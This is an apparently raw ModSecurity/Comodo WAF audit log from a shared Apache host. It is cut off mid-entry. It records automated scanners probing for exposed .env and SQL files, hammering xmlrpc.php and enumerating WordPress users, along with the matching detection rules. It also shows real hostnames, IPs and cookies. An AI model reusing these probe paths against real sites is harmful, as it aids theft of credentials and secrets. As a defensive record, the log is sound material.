1750033228988323 724602 (- - -) Stopwatch2: 1750033228988323 724602; combined=2251, p1=411, p2=1735, p3=0, p4=0, p5=105, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1ab8272b-Z-- --76f3ee2e-A-- [16/Jun/2025:05:50:47.181018 +0530] aE9jXtNEcm-DhAkC0ibbJQAAAAY 185.177.72.210 54746 127.0.0.1 7081 --76f3ee2e-B-- GET /typo3conf/ext/static_info_tables/ext_tables_static+adt-orig.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --76f3ee2e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b685fde7e9271e8572f033ab547df8e51750033247; expires=Mon, 16 Jun 2025 01:20:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --76f3ee2e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/typo3conf/ext/static_info_tables/ext_tables_static+adt-orig.sql"] [unique_id "aE9jXtNEcm-DhAkC0ibbJQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033246514026 667079 (- - -) Stopwatch2: 1750033246514026 667079; combined=2138, p1=338, p2=1671, p3=0, p4=0, p5=128, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76f3ee2e-Z-- --46e41c39-A-- [16/Jun/2025:05:50:49.165054 +0530] aE9jYJ_Rv4EBtUyS5c4EcQAAAAU 185.177.72.210 54834 127.0.0.1 7081 --46e41c39-B-- GET /:8080/front-end/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --46e41c39-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dcd5221a828f01dbc9e50e48fdbd10701750033249; expires=Mon, 16 Jun 2025 01:20:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --46e41c39-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/front-end/.env"] [unique_id "aE9jYJ_Rv4EBtUyS5c4EcQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033248502482 662657 (- - -) Stopwatch2: 1750033248502482 662657; combined=1909, p1=380, p2=1411, p3=0, p4=0, p5=118, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --46e41c39-Z-- --cc9a8819-A-- [16/Jun/2025:05:50:52.693120 +0530] aE9jYw9THibLN0xLxETvAgAAAAk 185.177.72.210 36238 127.0.0.1 7081 --cc9a8819-B-- GET /:8880/demo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cc9a8819-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1c23d1885dc17c032e2f110b54e04cd31750033252; expires=Mon, 16 Jun 2025 01:20:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cc9a8819-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/demo/.env"] [unique_id "aE9jYw9THibLN0xLxETvAgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033251983850 709332 (- - -) Stopwatch2: 1750033251983850 709332; combined=1866, p1=362, p2=1413, p3=0, p4=0, p5=91, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cc9a8819-Z-- --d7b2a522-A-- [16/Jun/2025:05:50:54.694374 +0530] aE9jZp16HYQp4eDf7R1UXQAAAAI 185.177.72.210 36358 127.0.0.1 7081 --d7b2a522-B-- GET /:8181/docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d7b2a522-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=02a5324d9de53f43a82c1546f2f70d3a1750033254; expires=Mon, 16 Jun 2025 01:20:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d7b2a522-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/docker/.env"] [unique_id "aE9jZp16HYQp4eDf7R1UXQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033254009968 684483 (- - -) Stopwatch2: 1750033254009968 684483; combined=2533, p1=510, p2=1906, p3=0, p4=0, p5=116, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d7b2a522-Z-- --3f0f1a16-A-- [16/Jun/2025:05:51:16.079667 +0530] aE9je9NEcm-DhAkC0ibbNgAAAAY 128.199.112.101 42438 127.0.0.1 7081 --3f0f1a16-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --3f0f1a16-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --3f0f1a16-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9je9NEcm-DhAkC0ibbNgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033275147635 932087 (- - -) Stopwatch2: 1750033275147635 932087; combined=2231, p1=369, p2=1476, p3=38, p4=55, p5=180, sr=93, sw=113, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3f0f1a16-Z-- --1a448129-A-- [16/Jun/2025:05:52:16.159919 +0530] aE9jt516HYQp4eDf7R1UkAAAAAI 128.199.112.101 33518 127.0.0.1 7081 --1a448129-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1a448129-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1a448129-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9jt516HYQp4eDf7R1UkAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033335208509 951467 (- - -) Stopwatch2: 1750033335208509 951467; combined=2597, p1=402, p2=1823, p3=40, p4=63, p5=169, sr=114, sw=100, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1a448129-Z-- --2cd62346-A-- [16/Jun/2025:05:52:47.330822 +0530] aE9j1tNEcm-DhAkC0ibbZQAAAAY 185.177.72.210 56262 127.0.0.1 7081 --2cd62346-B-- GET /:5601/.env.txt HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2cd62346-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=218629bf5284d906731c4a009e0b8afd1750033367; expires=Mon, 16 Jun 2025 01:22:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2cd62346-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.txt"] [unique_id "aE9j1tNEcm-DhAkC0ibbZQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033366625349 705537 (- - -) Stopwatch2: 1750033366625349 705537; combined=1874, p1=404, p2=1372, p3=0, p4=0, p5=98, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2cd62346-Z-- --976a2a11-A-- [16/Jun/2025:05:52:50.487301 +0530] aE9j2WYZLqtIztZ_Ow_o8AAAAAg 185.177.72.210 38348 127.0.0.1 7081 --976a2a11-B-- GET /httpboot/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --976a2a11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=43e784eec51bc490738c5b88d87163041750033370; expires=Mon, 16 Jun 2025 01:22:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --976a2a11-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/httpboot/.env"] [unique_id "aE9j2WYZLqtIztZ_Ow_o8AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033369803191 684193 (- - -) Stopwatch2: 1750033369803191 684193; combined=1864, p1=499, p2=1234, p3=0, p4=0, p5=130, sr=143, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --976a2a11-Z-- --f28c3c7f-A-- [16/Jun/2025:05:52:58.359452 +0530] aE9j4dNEcm-DhAkC0ibbaQAAAAY 185.177.72.210 38566 127.0.0.1 7081 --f28c3c7f-B-- GET /:9000/.env_bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f28c3c7f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5870857999803bf73ab4591e95f37ae11750033378; expires=Mon, 16 Jun 2025 01:22:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f28c3c7f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env_bak"] [unique_id "aE9j4dNEcm-DhAkC0ibbaQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033377686306 673209 (- - -) Stopwatch2: 1750033377686306 673209; combined=2815, p1=600, p2=2114, p3=0, p4=0, p5=101, sr=150, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f28c3c7f-Z-- --c95e1235-A-- [16/Jun/2025:05:53:16.604848 +0530] aE9j85PBc7qQRvHewCtzJgAAAAA 128.199.112.101 45260 127.0.0.1 7081 --c95e1235-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c95e1235-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c95e1235-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9j85PBc7qQRvHewCtzJgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033395545104 1059800 (- - -) Stopwatch2: 1750033395545104 1059800; combined=2202, p1=449, p2=1334, p3=46, p4=68, p5=188, sr=130, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c95e1235-Z-- --5eecf376-A-- [16/Jun/2025:05:53:23.562214 +0530] aE9j-Z16HYQp4eDf7R1UsAAAAAI 198.44.190.4 52728 127.0.0.1 7081 --5eecf376-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.gulachi.com X-Real-IP: 198.44.190.4 X-Accel-Internal: /internal-nginx-static-location Connection: close Cookie: PHPSESSID=gi51lhs0jeldpki862crrjo65v; _sfs_id=fd57bfa95b399d6319c71e2f517686651750033400 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 --5eecf376-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Robots-Tag: noindex Link: <https://www.gulachi.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type, X-OptinMonster-ApiKey X-WP-Total: 1 X-WP-TotalPages: 1 Allow: GET Vary: Origin WPO-Cache-Status: not cached WPO-Cache-Message: This is a REST API request (identified by REST_REQUEST constant) Connection: close Content-Type: application/json; charset=UTF-8 --5eecf376-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.gulachi.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.gulachi.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.gulachi.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9j-Z16HYQp4eDf7R1UsAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/gulachi.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033401918289 1644014 (- - -) Stopwatch2: 1750033401918289 1644014; combined=3039, p1=489, p2=2445, p3=0, p4=0, p5=104, sr=147, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5eecf376-Z-- --812c8306-A-- [16/Jun/2025:05:53:57.874223 +0530] aE9kHfbo0R64L12N_alUBwAAAAQ 185.177.72.210 60430 127.0.0.1 7081 --812c8306-B-- GET /test/bdd/fixtures/demo/openapi/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --812c8306-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=561aecc0aadea4922b1c991eac25eef11750033437; expires=Mon, 16 Jun 2025 01:23:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --812c8306-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/bdd/fixtures/demo/openapi/.env"] [unique_id "aE9kHfbo0R64L12N_alUBwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033437177102 697194 (- - -) Stopwatch2: 1750033437177102 697194; combined=2104, p1=385, p2=1622, p3=0, p4=0, p5=97, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --812c8306-Z-- --cd50ec51-A-- [16/Jun/2025:05:54:02.823791 +0530] aE9kIp16HYQp4eDf7R1UvQAAAAI 185.177.72.210 50006 127.0.0.1 7081 --cd50ec51-B-- GET /code/web/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cd50ec51-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6b292d8336f982b4a5b6a4af7da3dc441750033442; expires=Mon, 16 Jun 2025 01:24:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cd50ec51-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/code/web/.env"] [unique_id "aE9kIp16HYQp4eDf7R1UvQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033442071522 752332 (- - -) Stopwatch2: 1750033442071522 752332; combined=1832, p1=408, p2=1324, p3=0, p4=0, p5=100, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cd50ec51-Z-- --9cbfb91b-A-- [16/Jun/2025:05:54:16.266668 +0530] aE9kL_bo0R64L12N_alUFAAAAAQ 128.199.112.101 50388 127.0.0.1 7081 --9cbfb91b-B-- POST //xmlrpc.php 